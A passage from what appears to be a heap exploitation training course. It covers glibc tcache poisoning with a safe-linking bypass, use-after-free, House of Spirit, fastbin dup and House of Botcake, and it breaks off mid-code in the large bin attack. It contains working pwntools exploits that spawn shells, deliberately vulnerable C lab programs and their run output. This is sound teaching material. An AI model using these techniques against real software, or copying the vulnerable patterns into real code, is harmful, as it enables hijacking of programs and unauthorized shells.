#!/usr/bin/env python3
#~/exploit/exploit_heap.py
from pwn import *
binary = './vuln_heap'
elf = ELF(binary)
context.binary = elf # Sets AMD64!
# Find admin_function address
admin_addr = elf.symbols['admin_function']
log.info(f"admin_function @ {hex(admin_addr)}")
# Build payload (AMD64 - use p64!)
# read() allows null bytes unlike strcpy()!
payload = b"A" * 32 # Fill user1->name
payload += p64(admin_addr) # Overwrite user1->print_func (8 bytes!)
# Exploit via stdin (read() handles null bytes)
p = process(binary, stdin=PTY, stdout=PTY)
p.recvuntil(b'Enter name: ')
p.send(payload)
p.interactive()
Test:
cd ~/exploit
source ~/crash_analysis_lab/.venv/bin/activate
python3 exploit_heap.py
# Admin access granted to AAAAA...
$ id
uid=1000(user) gid=1000(user)
[!NOTE] Why does
system()work here but not in ROP chains?Intel CET (SHSTK/IBT) blocks indirect jumps/calls via corrupted return addresses (ROP). But function pointer overwrites are direct calls - the program legitimately calls through a pointer, which CET allows. This is why heap exploits targeting function pointers still work on modern libc, while stack-based ROP to
system()fails.When CET blocks you:
- ROP chains returning to
system()via stack corruption- ret2libc attacks using gadgets
When CET does NOT block you:
- Function pointer overwrites (heap, GOT if writable)
- Direct control flow hijack to existing functions
- One_gadget (uses internal code paths that satisfy CET)
Heap Metadata Corruption
Unlink Exploit (Classic technique):
Concept:
- Corrupt free chunk metadata (fd/bk pointers)
- When chunk is unlinked from bin, write arbitrary address
- Achieve write-what-where primitive
Vulnerable Code (unlink_vuln.c):
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main() {
char *a, *b, *c;
// Allocate three chunks
a = malloc(100);
b = malloc(100);
c = malloc(100);
printf("a = %p\n", a);
printf("b = %p\n", b);
printf("c = %p\n", c);
// Read input into 'a' (vulnerable)
printf("Enter data: ");
gets(a); // No bounds check!
// Free chunks (triggers unlink)
free(b);
free(a);
// Allocate again (use corrupted metadata)
char *d = malloc(100);
strcpy(d, "Controlled data");
return 0;
}
Exploit Technique:
- Overflow chunk 'a' into chunk 'b'
- Fake chunk 'b' metadata:
- Set prev_size to overflow into 'a'
- Set size with prev_inuse=0 (fake free)
- Set fd/bk to target addresses
- Free chunk 'b'
- Unlink writes: _(fd) = bk and _(bk) = fd
- Arbitrary write achieved!
Modern Protections:
- Safe unlinking (glibc 2.3.4+)
- Checks:
fd->bk == chunk && bk->fd == chunk - Makes classic unlink harder
Legacy Tcache Poisoning (glibc 2.27-2.31, no safe-linking):
This is the foundational technique to learn before tackling modern bypasses:
/* tcache_poison_legacy.c - Works on glibc < 2.32 (Ubuntu 20.04) */
// make disabled SOURCE=tcache_poison_legacy.c BINARY=tcache_poison_legacy
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
int main() {
setbuf(stdout, NULL);
uint64_t target = 0;
printf("Target at %p, value: %lu\n", &target, target);
void *a = malloc(0x20);
void *b = malloc(0x20); // Prevent consolidation
printf("Chunk A: %p\n", a);
printf("Chunk B: %p\n", b);
free(a);
// tcache[0x30] -> A -> NULL
// VULNERABILITY: Use-after-free or buffer overflow to corrupt A's fd pointer
// In a real program, this would be via:
// - UAF: writing to freed chunk A
// - Overflow: overflowing from another chunk into A
printf("Enter corruption data (hex address of target - 0x10): ");
char input[32];
fgets(input, sizeof(input), stdin);
// Corrupt the fd pointer of freed chunk A
uint64_t corrupt_addr;
sscanf(input, "%lx", &corrupt_addr);
*(uint64_t*)a = corrupt_addr; // This is the vulnerability!
malloc(0x20); // Returns A
void *c = malloc(0x20); // Returns target!
*(uint64_t*)c = 0xdeadbeef;
printf("Target after: 0x%lx\n", target);
return 0;
}
For testing on Ubuntu 24.04 (glibc 2.39 with safe-linking):
/* tcache_poison_modern.c - Demonstrates safe-linking protection */
// make disabled SOURCE=tcache_poison_modern.c BINARY=tcache_poison_modern
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <assert.h>
int main() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
printf("Demonstrating correct tcache poisoning on glibc 2.39 with safe-linking\n\n");
// Create aligned target on stack
size_t stack_var[0x10];
size_t *target = NULL;
// Find properly aligned target
for(int i = 0; i < 0x10; i++) {
if(((long)&stack_var[i] & 0xf) == 0) {
target = &stack_var[i];
break;
}
}
assert(target != NULL);
*target = 0; // Initialize
printf("Target address: %p, value: %lu\n", target, *target);
printf("Allocating buffers...\n");
intptr_t *a = malloc(128);
printf("malloc(128): %p\n", a);
intptr_t *b = malloc(128);
printf("malloc(128): %p\n", b);
printf("Freeing buffers to build tcache chain...\n");
free(a);
free(b);
printf("Now the tcache list has [ %p -> %p ].\n", b, a);
// This is the correct safe-linking formula for glibc 2.39
printf("Corrupting b's fd pointer with safe-linking...\n");
printf("Safe-linking key: 0x%lx (b >> 12)\n", (long)b >> 12);
printf("Target: %p\n", target);
printf("Corrupted value: 0x%lx\n", (long)target ^ ((long)b >> 12));
// VULNERABILITY: Use-after-free to corrupt fd pointer
b[0] = (intptr_t)((long)target ^ ((long)b >> 12));
printf("Now the tcache list has [ %p -> %p ].\n", b, target);
printf("Draining tcache:\n");
printf("1st malloc(128): %p\n", malloc(128));
printf("Now the tcache list has [ %p ].\n", target);
intptr_t *c = malloc(128);
printf("2nd malloc(128): %p\n", c);
if ((long)target == (long)c) {
printf("SUCCESS! We got control of %p\n", c);
*c = 0xdeadbeef;
printf("Target value after corruption: 0x%lx\n", *target);
printf("tcache poisoning successful!\n");
} else {
printf("Failed. Expected %p, got %p\n", target, c);
}
return 0;
}
Why This Works (glibc 2.39 safe-linking bypass):
Before corruption: After corruption:
tcache[0x80] → B → A → NULL tcache[0x80] → B → TARGET
Key derivation: Safe-linking formula:
key = chunk_addr >> 12 corrupted_fd = target ^ (chunk >> 12)
malloc(128): malloc(128):
Returns B, tcache → A Returns B, tcache → TARGET
malloc(128): malloc(128):
Returns A Returns TARGET! (arbitrary alloc)
Critical Requirements for glibc 2.39+:
- Safe-linking key:
key = chunk_address >> 12(simple right shift) - Target alignment: Must be 0x10-aligned to avoid "unaligned tcache chunk detected"
- Corruption position: Target the SECOND tcache entry (B), not the first (A)
- Proper chaining: Free A then B, corrupt B's fd, drain A, get target
Real-World Impact:
- Bypasses modern glibc protections: Works on Ubuntu 24.04 (glibc 2.39)
- Arbitrary write: Achieves write-what-where primitive
- ASLR bypass: No need for leaks if you have a known target
- Reliable: High success rate when conditions are met
glibc 2.35+ / Ubuntu 24.04
Key Changes in Modern glibc:
| Version | Change | Impact | Ubuntu Version |
|---|---|---|---|
| 2.32+ | Tcache pointer XOR (safe-linking) | XOR key from chunk addr (chunk_addr >> 12) | 22.04+ |
| 2.34+ | __malloc_hook removed | Hook overwrite attacks dead | 22.04+ |
| 2.35+ | Enhanced tcache key checks | Double-free detection improved | 23.04+ |
| 2.37+ | global_max_fast type change | Fastbin size attacks limited | 23.10+ |
| 2.38+ | _IO_list_all checks tightened | FSOP attacks significantly harder | 24.04+ |
| 2.39+ | Additional largebin checks | Largebin attack constraints | 24.04 |
Safe-Linking Explained (glibc 2.32+):
Safe-linking protects singly-linked list pointers (tcache and fastbin) using XOR mangling:
// ACTUAL glibc 2.39 formula (simplified):
// stored_fd = (chunk_address >> 12) XOR target_pointer
// To decode: target = stored_fd XOR (chunk_address >> 12)
// In our working example:
key = chunk_b_address >> 12 // Simple right shift by 12
corrupted_fd = target_address ^ key // XOR with target
Bypassing Safe-Linking (working method for glibc 2.39):
# Step 1: Get chunk address (from freed chunk you control)
chunk_addr = 0x1976c330 # Address of chunk B in our example
# Step 2: Calculate XOR key (simple right shift!)
xor_key = chunk_addr >> 12 # 0x1976c330 >> 12 = 0x1976c
# Step 3: Forge tcache entry pointing to target
target_addr = 0x7ffda6be06e0 # Our aligned stack target
fake_fd = target_addr ^ xor_key # 0x7ffda6be06e0 ^ 0x1976c
# Step 4: Write fake_fd to freed chunk's fd field
chunk_b[0] = fake_fd # Use-after-free corruption
# Step 5: malloc() twice - second returns target!
malloc(128) # Returns chunk B
malloc(128) # Returns our target address!
Key Insights from Working Implementation:
- No heap leak needed: The key is derived from the chunk you're corrupting
- Simple formula: Just
chunk_addr >> 12, not complex heap base calculations - Alignment critical: Target must be 0x10-aligned or glibc aborts
- Position matters: Corrupt the SECOND tcache entry, not the first
[!NOTE]
Exception:tcache_perthread_structcounts are NOT protected by safe-linking!
This enables advanced techniques like House of Water for leakless attacks.
Modern Techniques Still Working:
- Tcache Stash Unlink (TSU): Smallbin → tcache manipulation
- House of Lore variants: Smallbin bk pointer corruption
- Largebin attacks: Still viable for arbitrary write
- Tcache struct hijack: Control allocation via
tcache_perthread_struct
Practicing Classic Heap Techniques (Docker Setup):
For learning classic heap exploitation without modern hardening:
# Docker container with older glibc for learning
docker run -it --rm --cap-add=SYS_PTRACE --security-opt seccomp=unconfined \
ubuntu:20.04 /bin/bash
# Inside container:
apt update && apt install -y build-essential gdb python3-pip
pip3 install pwntools
# Check glibc version
ldd --version
# 2.31 - no safe-linking, hooks still exist!
Patchelf for Specific glibc Versions:
# Download specific glibc version
# https://libc.rip/ or https://github.com/matrix1001/glibc-all-in-one
# Patch binary to use older libc
patchelf --set-interpreter ./ld-2.31.so --set-rpath . ./vulnerable
# Now binary uses your specified glibc
Practical Exercise
Exercise: Exploit heap overflow vulnerabilities
Setup:
# Clone how2heap for examples
cd ~/tuts
git clone --depth 1 https://github.com/shellphish/how2heap
cd how2heap
# Compile examples
make v$(ldd --version | head -1 | awk '{print $NF}')
Exercise: Function Pointer Overwrite
- Compile vuln_heap.c
- Find admin_function address
- Build exploit to overwrite print_func
- Get shell
Exercise: Heap Spray
- Allocate many chunks
- Fill with shellcode
- Trigger vulnerability to jump into spray
- Execute shellcode
Exercise: Tcache Poisoning (Modern)
- Study how2heap/tcache_poisoning.c
- Understand tcache bin structure
- Corrupt fd pointer
- Allocate at arbitrary address
Success Criteria:
- Function pointer overwrite works
- Heap spray successful
- Understand modern heap protections
- Can explain tcache attack surface
Key Takeaways
- Heap is more complex than stack: Multiple allocator structures
- Metadata corruption is powerful: Enables write-what-where
- Modern heaps have protections: Safe unlinking, tcache checks, safe-linking (2.32+)
- Function pointers are targets: Easy to exploit if reachable - bypasses CET!
- Heap spray can bypass ASLR: Fill memory with shellcode
- CET doesn't block function pointer overwrites: Unlike ROP, direct calls work
- Modern libc removed
__malloc_hook: Can't use hook overwrites anymore (2.34+)
Discussion Questions
- Why is heap exploitation more complex than stack overflow?
- How do safe unlinking checks prevent classic unlink attacks?
- What makes tcache a good target for exploitation?
- How would you detect heap corruption at runtime?
Day 4: Heap Exploitation Part 2 – Modern Techniques
- Goal: Master modern heap exploitation: tcache poisoning with safe-linking bypass, House of Botcake, House of Water, House of Tangerine.
- Activities:
- Reading:
- Foundation:
- Tcache House of Spirit - simplest, no next chunk validation
- Tcache Metadata Poisoning - easy if metadata accessible
- Core Techniques:
- Tcache Poisoning - with safe-linking bypass
- Fastbin Dup - classic double-free
- House of Botcake - double-free bypass (most practical)
- Overlapping Chunks - chunk overlap via size corruption
- Advanced:
- Large Bin Attack - arbitrary write (heap ptr)
- Fastbin Reverse Into Tcache - write heap ptr to stack
- Unsafe Unlink - classic unlink with modern constraints
- Expert:
- House of Water - UAF to tcache metadata control
- House of Tangerine - no free() needed!
- House of Einherjar - backward consolidation
- Safe-Linking Double Protect Bypass - blind safe-linking bypass
- Foundation:
- Online Resources:
- how2heap Repository (glibc_2.41) - Practice modern techniques
- Malloc Internals
- Tool Setup:
- Compile with
-no-pie -Wl,-z,norelrofor easier practice - Use pwndbg
heapandbinscommands constantly
- Compile with
- Exercise (follow order for progressive learning):
- Start with Use-After-Free patterns
- Exploit tcache House of Spirit (easiest tcache attack)
- Exploit tcache poisoning with safe-linking bypass
- Exploit House of Botcake for double-free scenarios
- Attempt House of Water for advanced UAF exploitation
- Reading:
Deliverables
- Environment: glibc version recorded (
ldd --version) and which how2heap example(s) you used - Reproduction: at least one modern technique reproduced end-to-end (e.g., tcache poisoning with safe-linking)
- Primitive proof: demonstrated controlled allocation to a chosen address (and explained the safe-linking XOR key)
- Notes: minimal writeup showing the exact leak used (heap/libc) and how it enables the technique
Use-After-Free Exploitation (Foundation)
UAF is a type of vulnerability; tcache/fastbin poisoning is the technique to exploit it.
Classic UAF Pattern:
// 1. Allocate object with function pointer
Object *obj = malloc(sizeof(Object));
obj->callback = normal_func;
// 2. Free the object (but keep the pointer)
free(obj);
// obj is now a DANGLING POINTER
// 3. Allocate new object of same size (gets same memory)
Evil *evil = malloc(sizeof(Evil));
evil->fake_callback = shell_func;
// 4. Use the dangling pointer (calls attacker's function!)
obj->callback(); // BOOM - calls shell_func
UAF Heap Feng Shui:
The key to reliable UAF exploitation is controlling what gets allocated in the freed memory.
Heap Feng Shui Strategy:
═══════════════════════════════════════════════════════════════════
Step 1: Understand allocation sizes
Target object: 0x40 bytes (User struct)
Attacker input: Can we create a 0x40 byte allocation?
Step 2: Prime the heap
- Free target object
- Ensure tcache/fastbin has space
Step 3: Spray controlled data
- Allocate objects of same size class
- Fill with attacker-controlled content
Step 4: Trigger UAF
- Use dangling pointer
- Access now-controlled memory
Interactive UAF Target (vuln_uaf.c):
// ~/exploit/vuln_uaf.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
typedef struct {
char name[32];
void (*callback)(void);
} Object;
Object *obj = NULL;
char *spray_buf = NULL;
void normal_func(void) {
printf("Normal callback executed\n");
}
void admin_func(void) {
printf("Admin function triggered! Spawning shell...\n");
system("/bin/sh");
}
void menu(void) {
printf("\n1. create\n2. delete\n3. use\n4. spray\n5. exit\n> ");
fflush(stdout);
}
int main(void) {
char cmd[16];
setvbuf(stdout, NULL, _IONBF, 0);
while (1) {
menu();
if (read(0, cmd, sizeof(cmd)) <= 0) break;
if (strncmp(cmd, "create", 6) == 0 || cmd[0] == '1') {
obj = malloc(sizeof(Object));
obj->callback = normal_func;
printf("name: ");
fflush(stdout);
read(0, obj->name, 31);
printf("Object created at %p\n", obj);
}
else if (strncmp(cmd, "delete", 6) == 0 || cmd[0] == '2') {
if (obj) {
free(obj);
// BUG: obj not set to NULL - dangling pointer!
printf("Object freed (but pointer kept!)\n");
}
}
else if (strncmp(cmd, "use", 3) == 0 || cmd[0] == '3') {
if (obj) {
printf("Calling callback...\n");
obj->callback(); // UAF: uses freed memory!
}
}
else if (strncmp(cmd, "spray", 5) == 0 || cmd[0] == '4') {
// Allocate same size as Object to reclaim freed chunk
spray_buf = malloc(sizeof(Object));
printf("data: ");
fflush(stdout);
read(0, spray_buf, sizeof(Object));
printf("Spray allocated at %p\n", spray_buf);
}
else if (strncmp(cmd, "exit", 4) == 0 || cmd[0] == '5') {
break;
}
}
return 0;
}
Compile:
cd ~/exploit
make disabled SOURCE=vuln_uaf.c BINARY=vuln_uaf
#gcc -g -O0 -fno-stack-protector -no-pie -fcf-protection=none vuln_uaf.c -o vuln_uaf
Complete UAF Exploit Example:
#!/usr/bin/env python3
# ~/exploit/exploit_uaf.py
"""
UAF Exploit demonstrating heap feng shui
Target: vuln_uaf with create/delete/use/spray commands
"""
from pwn import *
context.arch = 'amd64'
binary = './vuln_uaf'
elf = ELF(binary)
def create(p, name):
p.sendlineafter(b'> ', b'1')
p.sendafter(b'name: ', name)
def delete(p):
p.sendlineafter(b'> ', b'2')
def use(p):
p.sendlineafter(b'> ', b'3')
def spray(p, data):
"""Allocate same-size chunk with controlled data"""
p.sendlineafter(b'> ', b'4')
p.sendafter(b'data: ', data)
def exploit():
p = process(binary)
# Find target function
win = elf.symbols['admin_func']
log.info(f"admin_func @ {hex(win)}")
# Step 1: Create legitimate object
create(p, b'AAAA')
# Step 2: Free it (creates dangling pointer)
delete(p)
# Step 3: Spray to reclaim freed memory
# Object struct: char name[32] + void (*callback)(void)
payload = b'X' * 32 # Fill name field
payload += p64(win) # Overwrite callback pointer
spray(p, payload)
# Step 4: Use dangling pointer (calls our controlled callback)
use(p)
p.interactive()
if __name__ == '__main__':
exploit()
Test:
cd ~/exploit
python3 exploit_uaf.py
Test Results:
[+] Starting local process './vuln_uaf': pid 2308
[*] admin_func @ 0x4011bc
[*] Switching to interactive mode
Calling callback...
Admin function triggered! Spawning shell...
$ id
uid=1000(dev) gid=1000(dev) groups=1000(dev),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),101(lxd)
$ exit
Exploit Success:
admin_funcfound at static address0x4011bc(No PIE)- UAF exploit successfully overwrote callback pointer
- Shell spawned with user privileges
- Interactive shell obtained, confirming full control
Why This Works:
- UAF Pattern:
objpointer isn't NULLed afterfree(), creating a dangling pointer - Heap Reuse:
spray()allocates same-sized chunk (sizeof(Object)) that reclaims freed memory - Controlled Overwrite: Spray payload overwrites
callbackpointer withadmin_funcaddress - Trigger:
use()callsobj->callback()which now points to attacker-controlled function - No ASLR Bypass Needed: Binary has
No PIE, soadmin_funcaddress is static
Key Insight: UAF exploitation is about controlling what gets allocated in freed memory and then using the dangling pointer to access attacker-controlled data.
Tcache House of Spirit (glibc 2.41)
Key insight from malloc.c: tcache_put() is called without checking if next chunk's size and prev_inuse are sane (search for "invalid next size" and "double free or corruption" - those checks are bypassed).
// ~/exploit/tcache_house_of_spirit.c
// Fake chunk free without next chunk validation
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
int main() {
setbuf(stdout, NULL);
malloc(1); // Initialize heap
// Fake chunk region on stack (must be 16-byte aligned!)
unsigned long long fake_chunks[10] __attribute__((aligned(0x10)));
/* Requirements for fake chunk:
* 1. Size must be tcache range: chunk.size <= 0x410 (malloc arg <= 0x408)
* 2. PREV_INUSE (bit 0): ignored by tcache free
* 3. IS_MMAPPED (bit 1): must be 0 (causes problems)
* 4. NON_MAIN_ARENA (bit 2): must be 0 (causes problems)
* 5. Region must be 16-byte aligned
*/
fake_chunks[1] = 0x40; // Size field (0x30-0x38 requests round to 0x40)
printf("Fake chunk size at: %p\n", &fake_chunks[1]);
printf("Fake chunk data at: %p\n", &fake_chunks[2]);
// Simulate pointer overwrite vulnerability
unsigned long long *a = &fake_chunks[2]; // Points to "user data" of fake chunk
// Free the fake chunk - goes to tcache without validation!
free(a);
// Next malloc of matching size returns our fake region
void *b = malloc(0x30);
printf("malloc(0x30) returned: %p\n", b);
assert((long)b == (long)&fake_chunks[2]);
printf("SUCCESS: Got allocation in fake chunk region!\n");
return 0;
}
Build and Run:
cd ~/exploit
gcc -g -O0 -no-pie -Wl,-z,norelro tcache_house_of_spirit.c -o tcache_house_of_spirit
./tcache_house_of_spirit
Test Results:
Fake chunk size at: 0x7ffea7295d98
Fake chunk data at: 0x7ffea7295da0
malloc(0x30) returned: 0x7ffea7295da0
SUCCESS: Got allocation in fake chunk region!
Attack Success:
- Fake chunk created on stack at
0x7ffea7295d98(size field) - Data area at
0x7ffea7295da0(8 bytes later due to chunk header) malloc(0x30)returns our fake chunk data area- Stack memory successfully allocated via heap allocator
Why This Works:
- No Next Chunk Validation: Unlike fastbin, tcache
free()doesn't validate the next chunk's size field - Simple Fake Chunk: Only need size field (0x40) in
fake_chunks[1], no complex metadata - Pointer Arithmetic:
a = &fake_chunks[2]points to "user data" area of fake chunk - Alignment:
__attribute__((aligned(0x10)))ensures 16-byte alignment for modern glibc - Size Range: 0x40 is valid tcache size (requests 0x30-0x38 round to 0x40)
Warning Explained: The compiler warning is expected - we're intentionally freeing stack memory as a fake chunk, which is the whole point of the attack!
Why Tcache House of Spirit is Easier:
| Aspect | Original (Fastbin) | Tcache Version |
|---|---|---|
| Next chunk validation | Required | Not needed |
| Size constraints | Fastbin range only | Up to 0x410 |
| Complexity | Must craft 2 fake chunks | Only 1 fake chunk |
| glibc version | Works on older | Works on 2.41 |
Attack Pattern:
- Find/create writable region with controlled data
- Set up fake size field (0x20-0x410 range, bits 1-2 = 0)
- Ensure 16-byte alignment
- Overwrite pointer to point to fake chunk's data region
- free(corrupted_ptr) → fake chunk goes to tcache
- malloc(matching_size) → returns your controlled region!
Tcache Metadata Poisoning (Direct Metadata Control)
// ~/exploit/tcache_metadata_poisoning.c
// Direct metadata control for arbitrary allocation
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <assert.h>
#define TCACHE_BINS 64
#define HEADER_SIZE 0x10
struct tcache_metadata {
uint16_t counts[TCACHE_BINS]; // Number of chunks per bin
void *entries[TCACHE_BINS]; // Head of each bin
};
int main() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
// Target MUST be 16-byte aligned for modern glibc!
uint64_t stack_target[4] __attribute__((aligned(0x10)));
stack_target[0] = 0x1337;
printf("Target on stack: %p\n\n", stack_target);
// Initialize heap and find metadata
uint64_t *victim = malloc(0x10);
printf("Victim chunk: %p\n", victim);
// Metadata is at start of heap page
struct tcache_metadata *metadata =
(struct tcache_metadata *)((long)victim - HEADER_SIZE - sizeof(struct tcache_metadata));
printf("Tcache metadata: %p\n\n", metadata);
// VULNERABILITY: Direct write to metadata
// Insert target into bin 1 (0x20 size class)
metadata->counts[1] = 1;
metadata->entries[1] = stack_target;
// Allocate from bin 1
uint64_t *evil = malloc(0x20);
printf("Got allocation at: %p\n", evil);
assert(evil == stack_target);
printf("SUCCESS: Arbitrary allocation achieved!\n");
return 0;
}
Build and Run:
cd ~/exploit
gcc -g -O0 -no-pie -Wl,-z,norelro tcache_metadata_poisoning.c -o tcache_metadata_poisoning
./tcache_metadata_poisoning
Test Results:
Target on stack: 0x7ffd375a38c0
Victim chunk: 0x28d522a0
Tcache metadata: 0x28d52010
Got allocation at: 0x7ffd375a38c0
SUCCESS: Arbitrary allocation achieved!
Attack Success:
- Stack target at
0x7ffd375a38c0(16-byte aligned) - Victim chunk at
0x28d522a0used to locate metadata - Tcache metadata found at
0x28d52010(start of heap page) - Direct metadata corruption inserted target into bin 1
malloc(0x20)returned stack address - arbitrary allocation achieved!
Why This Works:
- Direct Metadata Control: Overwrites
counts[1]andentries[1]directly - No Safe-Linking: Metadata corruption bypasses pointer protection
- Immediate Effect: Next
malloc(0x20)returns controlled address - Powerful Primitive: Gives arbitrary allocation capability
Tcache Poisoning with Safe-Linking Bypass (Working glibc 2.39)
// ~/exploit/tcache_poisoning_safelink.c
// Modern tcache poisoning requires heap leak for safe-linking bypass
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <assert.h>
int main() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
// Target must be 16-byte aligned!
size_t stack_var[0x10];
size_t *target = NULL;
for(int i=0; i<0x10; i++) {
if(((long)&stack_var[i] & 0xf) == 0) {
target = &stack_var[i];
break;
}
}
assert(target != NULL);
printf("Target (aligned): %p\n", target);
intptr_t *a = malloc(128);
intptr_t *b = malloc(128);
printf("a: %p, b: %p\n", a, b);
free(a);
free(b);
// tcache: b -> a -> NULL
// VULNERABILITY: Corrupt b's next pointer
// Must XOR with (chunk_addr >> 12) for safe-linking bypass
b[0] = (intptr_t)((long)target ^ ((long)b >> 12));
malloc(128); // Returns b
intptr_t *c = malloc(128); // Returns target!
printf("Got control at: %p\n", c);
assert((long)target == (long)c);
printf("SUCCESS: Tcache poisoning with safe-linking bypass!\n");
return 0;
}
Build and Run:
cd ~/exploit
gcc -g -O0 -no-pie -Wl,-z,norelro tcache_poisoning_safelink.c -o tcache_poisoning_safelink
./tcache_poisoning_safelink
Test Results:
Target (aligned): 0x7ffda554a440
a: 0x2b5992a0, b: 0x2b599330
Got control at: 0x7ffda554a440
SUCCESS: Tcache poisoning with safe-linking bypass!
Attack Success:
- Found 16-byte aligned stack target at
0x7ffda554a440 - Chunks
aat0x2b5992a0andbat0x2b599330allocated - After double free: tcache contains
b -> a -> NULL - Safe-linking bypass:
target ^ (b >> 12)written tob[0] - Second
malloc(128)returned our stack target!
Why This Works:
- Safe-Linking Bypass: XOR with
(chunk_addr >> 12)defeats pointer protection - Double Free: Creates tcache list we can corrupt
- Pointer Corruption: Overwrites next pointer with encoded target
- Arbitrary Allocation: Next malloc returns controlled address
Fastbin Dup (Modern - glibc 2.41)
Modern Double Free via Fastbin:
// ~/exploit/fastbin_dup.c
// Modern version requiring tcache fill + safe-linking bypass
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
int main() {
setbuf(stdout, NULL);
// Must fill tcache first (7 chunks for 0x30 size class)
void *tcache[7];
for(int i = 0; i < 7; i++) {
tcache[i] = malloc(0x20);
}
void *a = malloc(0x20);
void *b = malloc(0x20); // Separator chunk
printf("a: %p\n", a);
printf("b: %p\n", b);
// Fill tcache
for(int i = 0; i < 7; i++) {
free(tcache[i]);
}
// Now chunks go to fastbin (tcache full)
free(a);
free(b); // fastbin: b -> a -> NULL
free(a); // Double free! fastbin: a -> b -> a -> (cycle!)
// Empty tcache first
for(int i = 0; i < 7; i++) {
malloc(0x20);
}
// Now allocations come from fastbin
void *c = malloc(0x20); // Gets 'a'
void *d = malloc(0x20); // Gets 'b'
void *e = malloc(0x20); // Gets 'a' AGAIN!
printf("c: %p\n", c);
printf("d: %p\n", d);
printf("e: %p\n", e);
// c and e point to same memory!
assert(c == e);
printf("SUCCESS: c == e (double allocation of same memory!)\n");
return 0;
}
Build and Run:
cd ~/exploit
gcc -g -O0 -no-pie -Wl,-z,norelro fastbin_dup.c -o fastbin_dup
./fastbin_dup
Test Results:
a: 0x22c663f0
b: 0x22c66420
c: 0x22c663f0
d: 0x22c66420
e: 0x22c663f0
SUCCESS: c == e (double allocation of same memory!)
Attack Success:
- Chunks allocated:
aat0x22c663f0,bat0x22c66420 - After tcache fill and double free: fastbin contains cycle
a -> b -> a - Allocations:
cgetsa,dgetsb,egetsaagain! - Double allocation achieved:
candepoint to same memory
Why This Works:
- Tcache Fill: 7 chunks fill tcache, forcing frees to fastbin
- Double Free: Creates cycle in fastbin list
- No Safe-Linking: Fastbin doesn't use safe-linking protection
- Double Allocation: Same chunk returned twice
House of Botcake (glibc 2.29+ Double-Free Bypass)
// ~/exploit/house_of_botcake.c
// Bypass tcache double-free detection
// Trick: Free chunk to unsorted bin, consolidate, then free to tcache
// Result: Same memory in both unsorted bin and tcache!
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <assert.h>
int main() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
// Target MUST be 16-byte aligned for modern glibc!
intptr_t stack_var[4] __attribute__((aligned(0x10)));
memset(stack_var, 0, sizeof(stack_var));
printf("Target on stack: %p\n\n", stack_var);
// Allocate 7 chunks to fill tcache later
intptr_t *x[7];
for(int i = 0; i < 7; i++) x[i] = malloc(0x100);
// Allocate victim and prev (will consolidate)
intptr_t *prev = malloc(0x100);
intptr_t *victim = malloc(0x100);
malloc(0x10); // Guard against top chunk consolidation
printf("prev: %p\n", prev);
printf("victim: %p\n\n", victim);
// Fill tcache
for(int i = 0; i < 7; i++) free(x[i]);
// Free to unsorted bin (tcache full)
free(victim); // unsorted bin
free(prev); // consolidates with victim!
// Empty one tcache slot
malloc(0x100);
// Free victim AGAIN - goes to tcache (double free!)
// Key: victim is ALSO part of consolidated chunk in unsorted bin
free(victim);
// Allocate from unsorted bin - get consolidated chunk overlapping victim
// Size 0x160 to cover prev chunk + overlap into victim's next ptr
intptr_t *overlapping = malloc(0x160);
printf("overlapping chunk: %p\n", overlapping);
printf("victim tcache entry at: %p\n", victim);
// Calculate offset from overlapping to victim's next pointer
// victim's user data starts at same addr, next ptr is at offset 0
size_t offset = ((char*)victim - (char*)overlapping) / sizeof(intptr_t);
printf("offset to victim: %zu words\n\n", offset);
// Poison victim's next pointer (now accessible via overlapping chunk)
// Account for safe-linking: target ^ (chunk_addr >> 12)
overlapping[offset] = ((long)victim >> 12) ^ (long)stack_var;
// Pop victim from tcache, putting stack_var at head
malloc(0x100);
// Get arbitrary allocation!
intptr_t *target = malloc(0x100);
target[0] = 0xcafebabe;
printf("target @ %p == stack_var @ %p\n", target, stack_var);
printf("stack_var[0] = 0x%lx\n", stack_var[0]);
if (target == stack_var) {
assert(stack_var[0] == 0xcafebabe);
printf("SUCCESS: House of Botcake - wrote 0x%lx to stack!\n", stack_var[0]);
} else {
printf("NOTE: Exploit didn't land on stack (heap layout dependent)\n");
printf(" This demonstrates the technique - adjust offsets for your target\n");
}
return 0;
}
Build and Run:
cd ~/exploit
gcc -g -O0 -no-pie -Wl,-z,norelro house_of_botcake.c -o house_of_botcake
./house_of_botcake
Test Results:
Target on stack: 0x7ffe38860b00
prev: 0xcd4aa10
victim: 0xcd4ab20
overlapping chunk: 0xcd4aa10
victim tcache entry at: 0xcd4ab20
offset to victim: 34 words
target @ 0x7ffe38860b00 == stack_var @ 0x7ffe38860b00
stack_var[0] = 0xcafebabe
SUCCESS: House of Botcake - wrote 0xcafebabe to stack!
Attack Success:
- Stack target at
0x7ffe38860b00(16-byte aligned) - Chunks:
prevat0xcd4aa10,victimat0xcd4ab20 - Overlapping chunk gives write access to victim's metadata
- Offset 34 words to victim's tcache next pointer
- Safe-linking bypass:
target ^ (victim >> 12)written - Arbitrary write achieved:
0xcafebabewritten to stack!
Why This Works:
- Consolidation Trick: Chunk consolidation creates overlapping memory
- Tcache Double Placement: Same chunk in both unsorted bin and tcache
- Metadata Corruption: Overlapping chunk corrupts tcache next pointer
- Safe-Linking Bypass: XOR with chunk address defeats protection
- Arbitrary Write: Next malloc returns controlled address
Large Bin Attack (glibc 2.30+ Variant)
// ~/exploit/large_bin_attack.c
// Arbitrary address overwrite with heap pointer
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
int main(){
setvbuf(stdin,NULL,_IONBF,0);
setvbuf(stdout,NULL,_IONBF,0);
size_t target = 0;
printf("Target at %p: %lu\n\n", &target, target);
// Allocate two large chunks (different sizes, same large bin)
size_t *p1 = malloc(0x428); // Larger
malloc(0x18); // Guard
